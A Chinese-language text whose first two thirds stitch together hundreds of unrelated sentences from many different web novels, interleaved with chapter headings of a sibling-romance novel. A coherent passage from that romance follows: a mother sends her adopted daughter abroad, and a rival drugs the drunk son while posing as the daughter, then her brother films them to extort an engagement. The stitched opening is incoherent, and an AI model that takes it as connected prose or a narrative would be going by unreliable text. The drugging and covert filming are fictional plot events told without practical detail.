挺过的话,则是超凡脱俗,迈入更为强大的生死境。若是没有挺过的话,那则是会落得一个尸骨俱灭,永世不得超生的凄惨下场。
“你是不是就是雷霆公子?搅得王家天翻地覆的那个雷霆公子?”温景旭问完之后,一个姑娘弱弱的出声,眼里却是激动和惊讶,两只手应该是因为紧张,紧紧地攥在一起。
走进船舱后,张正这才发现,船之所以值钱是很有道理的,它一共分了四层,总面积足足有两千多平米,最下边一层是卧室,一共有三间套房,五间标房。
因为身体明显好转,张远山早上的时候,喝了一大碗的稀饭,还吃了半个多馒头,这对他来说已经是很久没有过的事情了。
他这个判断并不是凭空武断,乡土社会民风淳朴不假,但同样也最实际,如果你对别人没有用处的话,大家凭什么要关注你呢。
“你怎么能说地藏王菩萨懒呢?菩萨管辖地府,有千千万万的事要做,哪能时时亲力亲为。”柳妖继续说。
如果真是这样,那这种生灵就太可怕了,传说中的神灵也不过如此。
只要她能迅速离开这个房间,再跑去乔··石··恩的包厢,应该还来得及。
第一卷 第115章 妹妹什么时候回国的?
“别浪费时间,我要进诸神黄昏。”百多头坐骑要带出来,手底下的战斗力要有合理的解释,当然要进了诸神黄昏再说。如果没进去就带出了一百多天位凶兽,不就是明摆着他有诸神黄昏的稳定入口嘛,这瞎包事,他才不干。
洛静好也知道这样的可行性不大,在医院,无法向人解释苏皓的去向不说,她的空间也有暴露的风险。她想了下,忍住眩晕,从空间中取出了一瓶兑了青竹灵叶的灵泉水,递给了叶烈。
从交手中,他隐隐有一个猜测,同样的二转特殊职业,恐怕也有三六九等的划分。
另外两个金袍大主教怜悯的看着他,人家清楚没机会杀教皇,能给机会让我们反杀?教皇最讨厌没脑子的人,想必回去之后,金袍大主教的位置要空出来一个了。
“别太担心,可能事情并没有你想象中的那么严重。”叶烈专注的盯住前方的路,安慰着她。
所有人都目瞪口呆的看到,云豹尊者飞跃在半空马上就要扇到恶魔脸上的时候,整个兽身不知道为什么突然一顿,恶魔二头领趁此机会一个翻身离开了这个危险地方。
石鸡常年不见阳光,而且,还生活在极其清澈的水里面,经常以水里面的虾米为食,因此,它的肉质十分鲜美,城里人特别喜欢吃,同样的价格也极高。
而其他几个姑娘听着茹龄这傻傻的话不觉都乐了,气氛反而比开始的时候又好上几分。
随后作为联盟代表的四大天王分别各自登场鼓励了一番训练家后,舞台中央巨大的屏幕开始随机的按照循序一个个的跳动训练家的图片和名字,还有对战循序。
能让眼前这个老头说可多了,那应该是有不少钱,毕竟看他吃住穿也这么富裕。
此时稍微冷静下来后,他看向一狼的胡虎、山狼以及黑牛更多了几分想法。
说起这个,朱塬之前多少还有些担心,老朱同意了,但……从马氏的立场,他不想结婚可不是什么好事。
这一次,城寨里的帮众们都着实吓了一跳,随后反应过来,有的人出声呵斥,有的人则直接提着家伙就冲了上来。
那就是关于武器的,原来地府所有无常使用的武器,虽然都是哭丧棒与勾魂索。
上一世末日来得太过突然,她们一直处于被动慌乱的状态,根本没有多余的心思去注意到丧尸脑子里有这种晶石。
红包鼓鼓的一下子吸引了大家的注意,连撒泼打滚的穆彩霞也不闹了,眼巴巴地盯着那个红包。
却见虚空兽这一次也采取了不同的攻势,抬起了两条前肢举在身前,迎着朱八戒冲击而来。
出来的时候发现沈雷霆已经在客厅里喝茶,毕竟年纪已经大了,生活反而比较规律。
看到那些海兽白狼,罗萨斯更慌了,从这么高摔下去,肯定会摔断腿,如今还会变成那些白狼当作食物,毫不留情的吃掉。
“刚才我们在隔壁碰了下头,情况有些扑朔迷离,我们至今没理出个头绪来。”老村长长叹一声回答说。
高中三年,霹雳舞成了他们强身健体的一种锻炼,也成了他们泡妞、出风头的法宝,更成了他们十指帮感情日深、紧密相联的牢固纽带。
“丫头,七爷爷找你有些事情,你最好乖乖的跟我走。”木求博笑着说道。
来到一处人声鼎沸的灯谜底下,只不过虽然猜的人不少,但是真正猜对的却一个都没有。
听闻这声大喊,其余五人也都是大吼了一声,手中释放的各种法术,古诗,乘法口诀,还有各种算术规律也是铺天盖地的向前方的植物扫过去。
“那好吧!祝你一帆风顺!到了记得打电话来,再见!”张涛无奈地说。
“不可能吧!不会这么恐怖吧!不是说言论自由吗?”张涛不相信地说。
王大富接过金票,随意的对吴忠挥挥手说道:“好了,老吴,没你的事了,你可以走了~~”然后看着金票上的数额,又狂笑起来。
天魔既然曾经斩杀过姬无名的一尊身外化身,那天魔的修为最起码也是处于圣人期的。圣人期的修者可以徒手开辟大陆,他怎么会死去并且轮回百世呢?
她好傻,会狠下心去拒绝一个真正爱她的男人,可笑的想着要在这一年里对这个恶魔忠贞。
实则不然,你想想,如果在对敌攻击的时候你化为一道火剑,其攻击速度是不是相当的恐怖。
安琳表情有些不太自然,覃家和安家近得只需要几分钟的路程,她就算回家去住,也犯不着收拾行李。
听着应该是中国人吧,毕竟只有中国的姓氏中才有这个字,可是一夏却是调动了自己所有的记忆却是怎么都无法提取出关于苏这个家族的一丝一毫信息。
九头狮子喷着满身火光瞬间落于黄衣卫所,不久,青州黄衣卫倾巢而出直奔望乡山脉而去。
我总觉得这杨半仙有什么阴谋,所以他所谓的亲生父母,我觉得还是不见为好,我不能跟跟杨半仙的思路走。
腿上当时有几个洞,应该是被那个狐狸的尖牙给咬得,没流什么血,但是周围皮肤发黑,黑紫黑紫的,就好像是被什么给药到似得,还往外淌着一股子黑水,把裤子都给弄埋汰了。
不过,我们唐沟人都知道。想要让唐沟永远成为青州的州中独立王国。
曾月季在一边看着方萍英暗暗点了下头,心里觉得方萍英倒是会为人处世,人也稳重,桔子交了这个朋友,倒是不错。
第一卷 第116章 只想见一面妹妹
陆礼拨通时憬的电话。
电话里妹妹的声音仍旧轻柔,没有任何的心虚。
“时憬,”他冷静地叫她的名字,“你现在在哪里。”
那头沉默片刻。
话说,在看到中村拓石以后,她确实本能地觉得中村拓石很亲切,可是却依旧没有任何关于中村拓石的记忆。
新助理叶子媚推门进来同时,电话也响了,王子凡拿起话筒,示意叶子媚先进来。
这边余青召集了几个将军在商议事情,李猛,花祁,宋志武,石正,还有立了大功的燕贵星。
李猛见到花祁怀中已经闭上眼睛的苗莲,居然说不出拒绝的话,只好喊了人来扶着苗莲出去。
就连闫铸看到这番情景,都觉得心中有些不忍,闫钊虽然也不是什么好人,可是毕竟还没到十恶不赦的地步,他只恨他的叔叔,对于闫钊他并没有什么恨意。
就算已经被束缚成了灵魂球,依旧不断地挣扎着,似乎想从灵魂球中挣脱出来。
然而马束转过脸去,那动容的神色转瞬即逝,只留下嘴角一抹似有若无的讥笑。
刘春花自是不肯,闹了几次,却也不见人放她出去,这才老老实实的修佛,后来余谨成亲才被接了出去,不过几年就病故了。
陈伦强挺直腰杆慢慢坐在了沙发边缘,气氛就陷入了莫名的紧张。
“可是,你到底是怎么下毒的呢?”从头懵逼到尾的毛利大叔问出了这个关键的问题。
结果,这些咆哮的子弹和之前那三个核桃的命运如出一辙,全部都被那些带着些许香味的花瓣拦了下来。
杜飞几人见荆叶回来,匆忙问道:“师弟,你可寻到那两人了”。
荆叶心里莫名其妙的用了‘家伙’这个词语,想到这里,他心中又是一惊,方才那孟婆说帝子亲临,难道那蓝发的家伙就是天界帝子之一?
安渡山步子迈的越来越结实,走的也越来越稳当,但嘴上絮絮叨叨就没有停下来。
血红的浪花一波盖过一波,仿佛猛兽的嘶吼咆哮,而就在河畔,无数鬼差目瞪口呆,似乎不敢相信眼前的一切,有厉鬼惊慌着四处逃窜,有恶鬼刹那间被血浪湮灭。
“好了,我进去睡觉了,等你什么时候成功把自己的灵魂印记留在火焰的本源当中再叫我出来!”金墨交代了一句就溜进了叶凌寒的身体里。
秦狩、张皓、贺老白、乔奈何与何依瑶齐聚在秦家大院里,或蹲或坐,一个个面色凝重神情苦恼。
“真理序列!”零只是冷冷地回了他四个字,玉手一挥,男子的程序数据便被彻底抹杀殆尽,其存在就此永远的消失了。
突然,洋道士拉着我的手,哭了起来。一边一把鼻涕一把眼泪的,一边冲我倾诉着他的满肚子苦水。
一行人回到了亦雄庄,董飞清点了一下。己方无一伤亡,寨子内受伤被扔下的共有五十几人,死伤的约有二十,逃跑被抓回的三十几人。除了两次出山被剿灭的两百人,整个寨子竟然有三百多强盗。
夏微凉一向是个说做就做的行动派,话刚聊两句,夏微凉便说自己现在去注册成立工作室,说完就原地下线,留下苏扬和夜已深两人面面相觑。
第一卷 第117章 哥…算了吧
花费了十天的时间,杨易卜一共布成了三座困阵,这三座困阵都不大,但是困他个百十人却是没问题。
叶老爷子和叶凡羽他们是认识的,他们不认识林筱筱,所以他们的目光会在林筱筱的身上多停留几秒,然后若无其事地又把目光回到了叶老爷子身上。
与此同时,他右手中的蓝银霸皇枪也在瞬间爆发,化为一道金色的流光没入海中。
走出抢救室的时候,陆少贞还格外的留意了一下铁门上的门牌,那么已经斑驳到几乎腐朽的门牌上还能依稀看见“急救”两个字。
“孙老爷子,欢迎欢迎”陈笑月大笑着对孙定远老爷子抱了抱拳,以示欢迎。
不过,随着张扬顺利的起身,场上的高年级学员齐齐的松了一口气。
震惊的同时,他也为守義感到开心,因为他不知道还能在守義身边待多久,只希望守義以后有能力可以保护自己不受伤就好,对守義来说,蛮力至少够了。
二军的投手实力确实可能稍弱与一军一点,但是按打击来算的话其实都相差无几。
拍卖会没有结束,但铁心已经起身朝会场内走了进去,她要提前把那些药材兑换到手以免节外生枝。
从得到消息中,根本没有这号人,杨桂怀疑是李少玉花钱请来的打手。
就在此时,张楚岚从休息室的大门走进来,刚刚他和公司那边的人进行了一番交谈。
周玄修炼的时候,自然是感觉时间流逝非常缓慢,不太能够准确知晓,自己已经修炼了多长的时间,却还是能够模模糊糊地察觉,自己估计没有修炼多久的,恐怕还不到一刻钟,如若轻易放弃,等同于从未修炼。
晶核丧尸以下都是弟弟,四级尸者算是有点看头,普通的四级尸王也不足为虑。
“灵雪姐姐,这阵法是什么阵?看起来好厉害!”夜九幽嘴甜,加上对上官灵雪的印象也还不错,所以讲话也乖巧许多。
眼前这位王总也是王家的嫡系了,毕竟坐镇一个省的分公司这种事还是嫡系做起来比较放心。
周玄听到荒狗的声音,皱着眉回应,倒不是埋怨,毕竟是自己做出来的选择。
楚伊涵感觉有道目光在盯着她,唇角微微勾起,这就是她想要的效果。
“吼!”还没等他从惊喜中回过神来,耳边又传来那道熟悉的怒吼。
终于还是月亮升上了高空,老天师吩咐荣山今天晚上由他守着田晋中。
她眼神闪躲的看过周围一圈的人,心里清楚,无论如何她都不能吃下这包药粉。
巴特愣愣半晌,突然抱住肚哈哈狂笑起来,他过分张狂的行径引来了阿尔托愤怒地眼神,巴特笑了片刻,终于才勉强收住了声,但脸上依旧残留着嘲笑的表情。
对于永远在平静的生活中的杨坚,这战乱的故意更加有吸引力,当下庄万古便由积雷山之役讲起,直讲到最近的灌洲之战,当然,刻意的把属于自己的那部分故意给突略了。
赵政策没想到欧阳教授把这些事情也都看在眼里,看来平时对自己也挺关注的,自然是唯唯诺诺。
撒拉目光含笑,又透出看穿他心思似的意味深长,提子落下时,棋局胜负已分,她起身时,脸色已恢复平素的冷漠,语气也变的冷淡。
但是,这些并不是四剑流的全部,如此繁华剑意,却也不过是四剑流的开端,仅仅是开端。而在这开端之后,终于展现出真正的四剑流来,这四柄剑,在天空当中,并没有延伸,但是剑意却无限的延伸着。
俗话说,一呼百应。更何况,赵政策刚才在这里也一直身先士卒,战斗在灭火的第一线,大伙也是亲眼目睹。
“尉伯伯,强,我得赶紧回去了”!萧寒接完电话,赶紧对尉稼薪和尉强说道。
“噗!你的肚子唱的歌真难听,下次记得换首好听点的歌。”他背着我嘲笑的下楼,我也很配合的紧跟在后,对着他比划拳脚。
靠近我的展天硕,一下抓起我紧握的拳头,嘴角的坏笑愈浓愈烈。
她现在对穆云的态度和之前不一样,无非就是因为她发现穆云不会真的伤了她。
交易市场运营至今,盈利很可观,刨除了各种费用和人员开支之外,这一段时间以来,纯利润也有三十多万,这样的生意放在梅城,绝对算得上是一盘好棋,能成就一个有钱人。
玉淼宗的人慌张的玉绫西喂了丹药,玉绫西的气息这才稳固了下来。
她也不是什么孤僻的人,自然是希望能有朋友的,如今和齐晓玉的相处,让她觉得心情不错。
现在的穆家,已经从被众人嫌弃的存在,变成了大家羡慕的存在。
这些话,都是机器没捕捉到的,只有三人听得到,baby和热巴脑海中突然闪过在韩国那一期的时候,陈昊出场分别使用一只手臂,就将两人轻松的搂起来抬到他的肩膀上。
洛安安正欲细说,木榻上的人嘴里发出一声细哼,紧接着睁开眼。
李哥本来人气就非常的彭爆,经过这个角色那人气可是冲向天际,都有些不输于她巅峰的选秀时期了。
第一卷 第118章 他们——永远只能是兄妹!
穹崖一招施展,心中却一片空明,面对着面前的无尽的土黄sè剑气,在其中居然缓慢的衍生出了赤红之sè,和无数的镇压之力,林园看到对面的剑招,缓缓的举起了手上的乾坤剑。
就比如把三水由中县提上县,八手连推,全是在别人想不到的时候一点点布局给布出来的。
本来还打算继续让自己带来的武者继续,可是林远突然爆发的威势,让周董不得不放弃这个念头。
罗羽几乎喜极而泣的又激动又关怀的说道,虽然明知这是废话,但经历刚才那般大的反差转变,罗羽一愣之下都不知该说些什么了。
现在的薛素素看朱公子眼睛了更是浓情蜜意,一个认真讲棋,一个努力学习,二人几乎合二为一,连续几天薛素素、朱公子二人是白天练棋,晚上同床共寝,完全是如胶似漆如影随形难分你我了。
第二个他疏忽了吐蕃国内对论钦陵的掣肘。就是有百分之百的把握,吐蕃国内也不会让论钦陵再出兵了。除非有百分之三百的把握,那有这么可能?
陆要金正要跟阎老幺说话,就看见远处也红光闪现,接着就听见了急促的军号声,陆要金知道坏了,红光方向就是薛家军的辎重营,看来辎重营是被人放火了,刚才飞起惊鸟的地方,应该是这些放火人逃跑时惊动的。
但就在这时,原本一直旁观的师娘眼珠转动两下后,看了看严灵素和公羊道人,不禁嘴唇微动的和罗羽传音了两句,让罗羽既有些为难、有只得硬着头皮答应下来。
林缘听到这话,也瞬间明白,这不是明显挑衅的吗,武宗外门第一人对战青云宗外门第一人。
他当初所训练的,完全是思域感知,只不过是他那次无意中坠入大海,在海底深处,通过水流的波动,将这种思域感知实体化的。
覃苏又很惬意的在时沐阳的怀里动了动,抱在他后背上的手也忽上忽下随意的拍着。
一个武者,只有强大的心神和强悍的意志,才可以长久的在天心草的区域坚持下去,显然,对于他们来说根本不可能存在。
“李将军,你这么一说,本殿下倒是觉得好像是有点太巧了。”慕容轩不觉作思索状,可是又想不出个所以然来。
她发出声音,强忍着心脏传来的疼痛,目光直直的盯着慕岚岚,眼中满是不可置信。
这个包厢的气氛压抑的她有些喘不过气,尤其是面对贺辰她也不像以前那样恋恋不舍,而是想抽身离去,或许,这就是心境的变化。
在许多年后,沈煜尘回想起来这个时刻,都会不断问自己。若他当时没有看那一眼,没有惊诧那张和青青一模一样的脸,那么他和青青的结局会不会就不一样?
“老板,麻烦帮我把这些都包起来!”苏月梅正郁闷着,突然听到赫连澈对着旁边卖包子的中年人说道。
她默默看向摩九胤,用眼神询问,这个桑叔,怎么就盯着她看,也不说话?
大鹰博物馆很大,从外边看上去,气势磅礴。在大鹰博物馆的正门两侧,是八根又粗又高的罗马式圆柱,这些东西都是十九世纪中叶建造的,距离现在也有一百多年了。
花青瞳等人踏入虚空裂缝之中,“我们要离开南大陆吗?”塗一竺扬头看着花青瞳。
一拳下去,玻璃罐体应声而破,郝宇伸手抱起蕙桐,飞了起来,避免被罐体中的不明液体沾染到,当他想要挥手去接从罐子里掉出来的孩童时,突然猛地一闪身,退到了几丈开外。
那么问题就来了,挨个村寨去拜访显然是不可能的,不去的话就要派出强大的护镖队伍,这显然是不划算的,而且货物被抢之后很多问题和普通山贼的处理方式也不相同。
爆炸把湖面炸出了一个洞,但是等水把这个洞给填满的时候,一切又恢复正常。
看谁能最幸运抽到自己许愿的奖品,大家非常兴奋,开始黑白配,选出先后顺序抽签。
虽然拿钱打分这种事情,在评论界并不少见,也常常被玩家们诟病。但是这一次,各大游戏媒体并没有从兵马俑娱乐那里,拿到一分钱。
这样许以厚利,很多人都会动心,接着就是把这项技术命名权交给他,中国古代没有用自己的名字命名某项技术的习惯,但是这并不代表这些工匠就不在乎这个名声。
这一年琉球又征召了十五万预备役,总人口中汉人也突破了一千五百万,其他奴隶的数量更是突破了两千万,但是人力依旧不太充足。
发现自己的好兄弟——边彼岸,都已经连续十多分钟没有开口说话了。
鹤启言挂了电话,又给助理的卡里打了五万元,鹤启言对待员工都很大方,经常会给他们发放红包之类的奖励,尤其是对于有一些儿特殊情况的员工,格外关照。
忙活了一晚上,为了健康着想,他没有熬夜,十二点前准时上床睡觉。
杜月笙的这个主张,让红帮陷入了莫大的危机之中。短短两天的时间内,青红帮发生了三次大的火拼。红帮本来就不如青帮,这三场火拼下来,他们受创极重。
第一卷 第119章 订婚
次日。
陆母约楼心月在茶馆包厢里见面。
“他们爱有什么有什么,我管不着!”宁珂哼哼,起身洗了一把脸,就坐下喝茶,一点要出门的意思都没有。
李泉良只觉得自己仿佛被针狠狠的刺了一下,身子忍不住一哆嗦,他目光惊骇,赶紧后撤一步,横剑于前,做出一副防守的姿态,防止被偷袭。而他对夏天宇的威压自然也消失了。
只见几股黑色的血液从下面冒出缠绕着脚裸,没有丝毫爬升的迹象,但看样子也不会轻易松开。
却没想到,两人刚一碰面,林青玄二话不说,一剑飞去,顿时就将他斩为了两截。楚子翔还没有反应过来,就已经糊里糊涂地死于了非命,旁边的其他玉虚宫弟子顿时全都惊得呆了。
“知道是谁的旨意吗?”在路上的时候,宁珂忍不住问青蔷,好让自己有个底。
紫衣侯已经认出花千妍,他还救过她呢!态度一转,“本侯明日再来。”其实从白天他就一直在王爷附近转悠,要不是看东方炎月太烦人,也不会突然现身。
二总管沉着脸,说道:“福利年来报名的鱼龙混杂,不严格把关,岂不是乱套了?
“七杀,不用带暗卫。”楚倾瑶想利用这次机会,看看浮云宗的实力。
就在他的剑即将劈在洪峰头上时,噹的一声脆响,一道白紫光突然乍现,轩辕重剑横在了半空,刚好挡住了他这一剑。
李三斗对这第三件事很有意见,可奈何现在这幅身子不争气,自己又不能说自己曾经的事迹,只能忍了。
现在,她又能感觉到,柱间那充沛到足以感染周围人的生命气息,绝对不是秽土转生一类的忍术可以做到的。
“我还想问你怎么回事呢!”菲尼克斯也同样瞪大了眼睛。她来时探了探林秋体内的状况,发现他并未遭受重创,身体的一切机能都很正常,他的昏迷就像是突然间断了电,有什么东西切断了他体内的刻痕力流通。
晚钟十分清楚毒道人的本事,对于海浪也是有一些了解,海浪正常的情况下尚且不是毒道人的对手,更不要说现在已经丧失了心智,只知道一味进攻的他。
蒙蒙的雾气中,湛蓝的水面上,他脚下的无数魔怪,一根根沾着黏液的触须绽开,将他包裹在了其中。
一直往右走这种怎么听都像个一拍脑门想出来的方法,其复杂程度甚至还不如『上上下下左左右右BABA』。
他现在已经拥有了李元霸内力值的60%,纯以武功论,江湖中可以跟他抗衡者,不会太多。尤其在宗匠这一级别来说,他几乎是寂寞无敌的。
但更重要,也更让高索族长不可释怀的事是初代国王阿兹-特瑞斯的死便与混沌教有关。
“又是一场杀孽!”晚钟毕竟是信佛之人,虽然不戒杀生,但是能不杀的时候,便是尽量的留手。
现在,严龙又将朝中的局势以一种比较淡然的语气对他说出来,他却反而有所触动了,因为他觉得严龙是一个局外人。
第120章 我走了,妈妈
陆礼亲自送短暂露面的重要人物离开宴会厅。
陆父因身体状况不允许,已经提早离场,余下应酬全部由陆礼出面,好在宴会尾声将至。
陆礼从外回来,视线习惯性在宴会厅扫了圈,想要确定时憬的位置,还未找到,有人故意出现在他视线中。
楼心月两手各拿一支高脚杯,里面盛着小半杯今晚宴会指定用香槟,她伸手,递给陆礼一杯,借这个靠近的动作轻声说道:“伯母今天说的订婚一事我也不太清楚,陆礼,你知道出了什么事情么?”
陆礼收回视线,落在眼前的女人身上,眼神不带多少感情,“订婚只是一个误解,最迟明日我会澄清。”
男人的嗓音清冷,近乎谈公事的语气,甚至都没有伸手接过她递来的酒杯。
楼心月咬了下唇,挤出一丝落寞又故作温柔的笑容,“那就好,但我们现在还没有分手,大家都在看我们,你这样和我保持距离,他们会奇怪的,毕竟伯母才说了我们即将订婚的消息。”
陆礼余光扫了圈。
的确有许多人都在看他们这边。
母亲搞出来‘订婚’的这场闹剧,让他觉得头疼。
是他轻信母亲。
以为松口答应让妹妹留在沙市,将来会慢慢接受他们之间的关系,他没有想到母亲表面上不强烈反对,却在陆氏新年宴会上突然宣布要和楼家订婚——
明明他已经和母亲提过楼家有问题。
陆礼没有因为这个闹剧而愤怒,只不过母亲这次冲动行事也是向他摆明了坚决反对的态度,这让陆礼有些棘手。
但现在不是说服母亲的时机,也不是和楼家撇清关系的时候,他先要确保今晚的宴会圆满落幕。
眼下只能先应付过去。
陆礼没有说话,从楼心月手中接过高脚杯。
楼心月稍侧了下头,向陆礼露出一个甜美的笑容,“今天有一句话忘记对你说了”话音落,她抬高高脚杯,与陆礼轻轻碰杯,“新年快乐——”
陆礼冷漠的嘴角也微扬了些:“新年快乐。”
两人各抿了两口气泡酒。
或许是二人刚才的互动看着过于赏心悦目,圈中好几个年龄相仿的男男女女也都围了上来,热情地与他们聊天、碰杯。
聊了会儿天,高脚杯中的气泡酒见底,楼心月体贴地招来托着酒水在宴会厅里移动的服务生,为她和陆礼换了两杯。
而围上来的,除了陆礼熟悉的沙市圈中的年轻人,还有个脸生的男人。
楼家的产业还在宣城,但现在他们已经依附陆氏集团,所以楼家不止楼心月出席了宴会,楼正贺也来了。
楼正贺属于圈中二代里最常见的花花公子,**样样精通,今晚逮着陆礼敬了好几杯酒。
陆礼给他面子,喝了一杯,随即眼神示意几个发小,把人围住灌酒。
他酒量不错,几杯香槟根本不会让他醉酒,但可能是这几个月一直维持高强度工作状态,不断压缩睡眠时间,宴会快散场时,他察觉身体里生出疲惫,眼前微微晕眩。
新年宴会散场。
时憬被陆母带在身后,听着与前来道别的宾客简单寒暄几句,宾客陆续离开,嘈杂的宴会厅开始安静下来,时憬轻而易举就找到了陆礼。
他似乎有些喝醉了,扶了下墙壁,回头朝他们这边看了下,时憬迟疑了下,想要去找黄助扶他上楼去休息,却被陆母拦住。
陆母笑盈盈地仍在应付宾客,只是握住时憬的手腕,把她留在身边,不准她离开。
时憬想要解释,可来道别的宾客不断,她没找到适合开口的时机,没过多久,她看见楼心月朝陆礼走去,扶着他离开了。
而兄长没有拒绝。
一瞬间,时憬似乎明白了什么,她把手机放回手袋里,放弃给黄助发信息。
宾客全部离场,酒店工作人员陆续入场收拾残局。
陆母拉着时憬一步步走出宴会厅,站到安静无人的通道里后,才松开她的手,“你放在房间里的行李箱,护照、银行卡这些东西也已经放到老耿车上,他会送你去机场。帮你买了今晚离开沙市的机票,转机飞曼城,落地后记得发个信息报平
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安。”
时憬一时没有反应过来。
兄长不是说妈妈允许她继续留在沙市了么…?为什么……
陆母看懂了她表情里的意外,再次开口时语气比刚才的温柔了些,“这些年我和你爸爸真心把你当成女儿照顾,你也希望陆家能好好的,希望你的哥哥能好好的吧?只要你选择去曼城,还是我们陆家的女孩儿。”
那些难听、刺耳的话,都没有出现在时憬耳中。
妈妈甚至没有愤怒地把她赶出家门,甚至还愿意说,她还是陆家的女儿。
时憬轻声开口,一眼不眨地看着妈妈,“哥哥…知道么?”
陆母脸上的温柔不变,但从前眼神中的温情已经彻底消失,“他会知道的,但过了今天之后他不会再去曼城找你。小憬,希望你也为了他的未来考虑,听妈妈的话,不要再联系他了。”
陆母仍以妈妈自称。
因为她知道,用亲人的身份能让眼前的女孩同意她全部要求。
时憬果真没有拒绝。
“我答应您……不会再联系哥哥……”眼眶里滚动着眼泪,她不知道是愧疚,还是不舍得,心脏疼痛得快要窒息,她轻声央求,“我…我还能再抱抱您么?”
陆母迟疑,也没有拒绝。
时憬上前两步。
轻轻展臂,动作温柔地抱了下陆母,“对不起…我伤了您和爸爸的心……您别生气了,之后要好好照顾自己……我走了,妈妈。”
她依恋地唤着这个称呼。
而后松手,转身离开。
没有央求着留下来,也没有撒娇的说不愿意再去湿冷的曼城,她离开得那么干脆。
陆母看着女儿离开的背影,忍不住落泪,这也是她疼爱了十年的女儿啊,她也不舍得把她赶出去……
可为了陆氏,为了陆礼的将来,她不得不这么做。
小憬,不要恨妈妈。
是你们先做错了事的。
*
时憬下停车场,耿叔已经开车在等着,甚至连她替换的衣服都已经准备在车上。
换好衣服,车子朝机场开去。
第121章 你们陆家要对心月负责!
陆母希望时憬尽快离开沙市,预定的机票需要转机两次才能抵达曼城,时憬在耿叔的目送下进入安检,在确认耿叔离开后,时憬没有登机,在机场星巴克里与定好的中介见面,请她帮忙,在春城租了一栋民宿,为期一年。
时憬看中的民宿是一栋较为偏僻的二层小楼。
店家是一对五十岁的夫妇,儿女都在大城市工作,因为环境偏僻,民宿入住率不高。协议、费用、沟通全部由中介出面,时憬在今晚把答应好的价格以现金形式支付。
处理完这些事情后,时憬重新预定飞伦敦转曼城的航班。
看起来就像是她不肯中转两次浪费时间,所以才在机场滞留。
*
酒店套房卧室里。
陆礼醉得并不厉害,只是身体叫嚣着疲惫,还有对眼前之人的欲望。
他脱去外衣,拉着妹妹的手,跌坐床边,纵容着妹妹与他保持距离,视线自下而上,晕眩让他有些看不清楚妹妹的面容。
攥着纤细手腕的指腹摩挲。
另一只手抚上她的胳膊,确认房间里的温度适宜,没有冷到她。
“小舟,”他语气柔情得不像话,清冷矜贵的眉眼间的占有变得炙热,“怎么又没戴手链?”
他还记得妹妹说,国外不安全,所以没法戴喜爱的首饰。
而现在眼前的“妹妹”脸上闪过意外。
小舟是谁?
陆礼喜欢的不是时憬?
难道他还有其他女人吗?
无数猜测冒出来,又被楼心月按下。她现在别无选择,哪怕陆礼还有其他女人,但这陆太太也只能是她的。
楼心月搂着他的脖子坐下,柔声道,“哥哥,我是小憬。”她说完后,并不给陆礼反应的时间,将身体主动贴上,腾出一只手,解开衬衣的扣子…
欲望被撕开一道口子。
他渴望着妹妹。
想要完整、用力地拥抱她,却又怕吓到了她,极近温柔地亲吻她,拨开长发,吻上脖颈,拉开拉链,退下礼裙,甜腻的香气将他包裹着,陆礼隐隐觉得有什么地方不对劲,但妹妹的动作不容他分神。
床垫微微下陷。
他支起胳膊,垂下目光,想要看清妹妹的容貌,她却又攀附上来,嘴唇吻上喉结…
“哥哥……”
妹妹柔声呼唤,带着暧昧的邀请,手指拨开衬衣…
“哥哥……”
她试图将他拉下来,想要他密密实实压着,想要吻上他的唇,但陆礼却停了动作。
“吻我……”
“哥哥……”
陆礼任由她动作,没有阻止她,也没有继续下去,他记得妹妹在这种时候只会一遍一遍叫他的名字,而不是唤他哥哥。
妹妹也不喜欢这么甜腻的香气。
妹妹昨晚才拒绝了他。
违和感愈发强烈,他却不愿再继续下去,动作轻柔却也不容拒绝地把妹妹推开,“太晚了,睡吧。”
楼心月几乎是没藏住诧异,她以为是自己听错了,可当她再看向陆礼时,他的确推开自己,闭着眼翻身躺下睡了。
怎么回事?
是那药加得太多了?
还是今晚喝的酒太多影响药效?!但楼正贺明明向她保证过的,这个药只要混着吃下去,男人都不会委屈自己的!
现在是什么情况?
还是陆礼发现她不是时憬?也不是那个“小舟”?
但刚才他分明是有反应的!
楼心月坐起身,烦躁地抓了把头发,看着在旁边已经入睡的男人,咬牙暗恨哥哥给的药根本不靠谱,现在陆礼已经睡了,她自己一个人能做什么?
她虽然有过男朋友但经验不算丰富,再加上从前的几个男友都是舔狗……
咬牙犹豫片刻才行动。
把二人衣服脱去,她紧贴着陆礼,盖上被子,闭眼强制让自己入睡。
陆礼醉成这样,十有**不记得昨晚到底有没有发生关系,她要的,就是他们曾睡过这个事实。
虽然没有真正睡到陆礼有些可惜,但来日方长,现在陆母忌惮他们兄妹,病急乱投医,都已经完全站在她这一边,自己还会愁嫁不进陆家?
胡思乱想了会儿后,她还真睡着了。
第二天,门口传来一阵砰砰敲门声。
楼心月睁眼醒来,听见客厅外传来一阵脚步声,下一秒,房门已经被推开。
她立刻拉起被子遮住身体,接着看见从外面带头进来的人竟然就是她那蠢哥哥!
他看着床上的两个人,掏出手机就对着拍摄!口中装出愤愤不平的语气大声质问:“陆少!你对我妹妹做了什么!”
楼心月恨不得把这蠢货骂出去!趁陆礼还未被他吵醒,楼心月用眼神示意他赶紧出去。
他这样做只会破坏她的计划!
下一秒,身旁的人有了动作,楼心月看见他醒来,接着,住在隔壁套房里的陆母也听见了动静走来,她看着楼正贺举着拍照的手机,立即皱眉。
楼心月压着怒火,有些难堪地开口央求,“哥哥,不要拍了,出去……”
楼正贺心里有自己的算盘,怎么可能听妹妹的话?“心月,你别怕!有哥哥在,一定让他对你负责!”说着,他语气一转,看向醒来的男人,“正好醒了,你和我妹妹同一张床上都睡了一晚上,你们陆家打算怎么给我们一个说法!”
“哥哥——”
“心月你闭嘴!”
陆礼在楼正贺的质问声中坐起来,抬手摁着胀痛的太阳穴,低头看了眼被子下自己一丝不挂,手掌挡住的眼底腾起戾气。
在放下时异色转瞬即逝。
他压根没把楼正贺的嚷嚷听进去,也没看一眼身边坐着的楼心月,目光落在母亲身上,“妈,帮我把黄林叫上来。”
陆母应了声好。
楼正贺被明晃晃地忽视后,脸色有些难堪,“陆少——”
陆母看着他还在拍摄的手机,饶是念及他是楼心月的哥哥,眼神也带着不悦之色,“正贺,我们先出去,等他们先穿好衣服。”
楼正贺高声道:“不行!伯母,万一我出去后他不认账——”
“哥哥!”楼心月忍住破口大骂的冲动,狠狠瞪他,“能让我先穿好衣服再说吗?!”
楼正贺这才转身出去。
房门关上。
陆礼背对着楼心月走向衣柜,拿了干净换洗衣物穿上——如果不为了后续取证,他更想把自己从头到脚清洗一遍。
昨晚的记忆模糊,但他还没醉到断片。他记得在大厅看见时憬朝自己走来,扶着他上楼进了房间。
